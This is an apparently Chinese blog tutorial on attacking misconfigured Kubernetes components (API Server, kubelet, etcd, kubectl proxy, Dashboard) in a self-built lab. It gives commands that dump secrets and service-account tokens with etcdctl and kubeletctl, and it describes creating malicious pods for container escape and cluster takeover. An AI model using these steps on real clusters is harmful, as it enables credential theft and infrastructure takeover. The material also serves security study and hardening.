K8S组件未授权访问

Kubernetes简称K8S,K8S是管理容器的。主要漏洞原因是配置不当(配置文件,端口开放等)造成的,并且自身存在漏洞。
常见的的组件未授权访问漏洞,主要包括 API Server 未授权访问、kubelet 未授权访问、etcd 未授权访问、kube-proxy 不安全配置、Dashboard未授权访问

1. 攻击8080端口:API Server未授权访问(HTTP)

API Server:资源操作的唯一入口,并提供认证,授权,访问控制,API注册和发现等机制。
旧版本的K8S的API Server默认会开启两个端口:8080和6443.
8080端口,8080端口无需认证,仅用于测试,默认不启动,无需认证和授权检查,一旦暴露将导致未授权访问。
6443端口,6443是安全端口,安全端口使用TLS加密,默认启动需要认证,如果出现配置错误,将system:anonymous用户绑定到cluster-admin用户组,将出现未授权访问。

  1. 攻击场景
    insecure-port默认值为0,将其修改为8080端口,再添加insecure-bind-address=0.0.0.0,允许远程访问本地的8080端口。
cd /etc/kubernetes/manifests
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0

修改kube-apiserver.yaml文件:
在这里插入图片描述
重新启动,systemctl restart kubelet
在这里插入图片描述

访问8080端口,发现成功进入文件,未授权。
在这里插入图片描述

  1. 攻击过程
    未授权访问的情况下,kubectl可以使用-s参数指定Kubernetes API服务器地址和端口,直接执行命令创建恶意Pod,将其挂载到Master节点,从而实现对整个集群的接管。
    在这里插入图片描述

在这里插入图片描述
总的来说就是:建立容器,进入容器,逃逸容器,之后可以进行RCE,反弹shell等攻击手段。

2. 攻击6443端口:API Server未授权访问(HTTPS)

一些集群由于鉴权配置不当,将“system:anonymous”用户绑定到“cluster-admin”用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下达命令。
访问IP的话,需要https://ip:6443。
在这里插入图片描述
创建恶意的pods,用发包工具,输入URL,POST发包,JSON格式,其实主体部分和test.yaml文件一样。
在这里插入图片描述

3. 攻击10250端口:kubelet未授权访问

kubelet会在集群中每个节点运行,对容器进行生命周期的管理,如果kubelet配置不当,攻击者可创建恶意Pod尝试逃逸到宿主机。

  1. 攻击场景
    修改authentication的anonymous为true
    将authorization mode修改为AlwaysAllow
    重启kubelet进程-systemctl restart kubelet
vi /var/lib/kubelet/config.yaml 
anonymous: 
	enabled: true 
authorization: 
	mode: AlwayAllow

修改node节点配置,重启kubelet服务。
在这里插入图片描述

访问kubelet 10250服务,出现未授权访问。
在这里插入图片描述

  1. 攻击过程
    kubeletctl 是一个用于与kubelet API 交互的命令行工具,可以通过kubeletctl执行命令获取Node权限。从Node节点窃取高权限服务账户token,使用服务账户向API Server进行验证,从而获取集群权限。
wget https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64
chmod 777 kubeletctl_linux_amd64
mv ./kubeletctl_linux_amd64 kubeletctl
#列出kubelet的所有pod
./kubeletctl pods -i --server IP
#搜索容器里面的Service Account
./kubeletctl scan token -i --server IP

在这里插入图片描述
然后可以执行模板POC进行攻击。

4. 攻击2379端口:etcd 未授权访问(token授权登录)

etcd 用于存储K8s集群中的所有配置数据和状态信息,如果管理员配置不当,导致etcd未授权访问的情况,那么攻击者就可以从etcd中获取secrets&token等关键信息,进而通过kubectl创建恶意pod从而接管集群。

  1. 攻击场景
    将client-cert-auth=true 改为false,把listen-client-urls监听修改为0.0.0.0,将端口被暴露出去,导致etcd存在未授权访问漏洞。
vi /etc/kubernetes/manifests/etcd.yaml
    - --client-cert-auth=false
    - --listen-client-urls=http://0.0.0.0:2379

在这里插入图片描述
2. 攻击过程

下载etcdctl直接用命令行即可访问etcd
https://github.com/etcd-io/etcd/releases/download/v3.4.9/etcd-v3.4.9-linux-amd64.tar.gz 
tar -xf etcd-v3.4.9-linux-amd64.tar.gz 
cd etcd-v3.4.9-linux-amd64 
#读取etcd中存储的数据,通过--limit选项限制数量 
export ETCDCTL_API=3 
./etcdctl --endpoints=192.168.44.138:2379  get / --prefix --limit=2

在这里插入图片描述

#获取k8s的secrets和token 
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --keys-only |grep secrets 
./etcdctl --endpoints=192.168.44.138:2379 get /registry/secrets/test/bypass-token-p6xpj

成功获取高权限服务账号token
在这里插入图片描述

通过token访问API-Server,可进一步创建恶意Pod,获取集群管理员的权限。

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=[.token.]-n kube-system get pods

5. 攻击8009端口:kube-proxy不安全配置

当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy,使用kubectl proxy命令就可以使API server监听在bending的xxxx端口上。

  1. 攻击场景
    使用kubectl proxy命令设置API server接收所有主机的请求。
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009

然后访问http://ip:8009 发现API Server未授权访问。
在这里插入图片描述

在这里插入图片描述
2. 攻击过程
类似不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
找到暴露入口点,根据类型选择合适方案。
在这里插入图片描述

6. Dashboard未授权访问(30009端口)

Dashboard 在配置不当情况下有可能会产生未授权访问的情况,从而有可能进一步造成接管集群。

  1. 攻击场景
    在deployment中开启enable-skip-login,那么就可以在登录界面点击跳过登录进dashboard。在这里插入图片描述
  2. 攻击过程(找到暴露面板->dashboard跳过-创建或上传pod-进入执行*利用挂载逃逸)

访问Kubernetes 仪表盘,出现了跳过按钮,点击跳过进入dashboard。
*kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)
在这里插入图片描述
进入控制面板,可以看到整个集群的资源情况。
在这里插入图片描述
接下来的操作:在控制面板处上传yaml创建一个pod,然后进行逃逸,最后根据自身需求进行操作。

总结

还有config鉴权文件泄露,taint技术等,后续会整理。
昨天工作太忙啦,所以今天更啦。
在这里插入图片描述
参考:
https://cloud.tencent.com/developer/article/2375967

更多推荐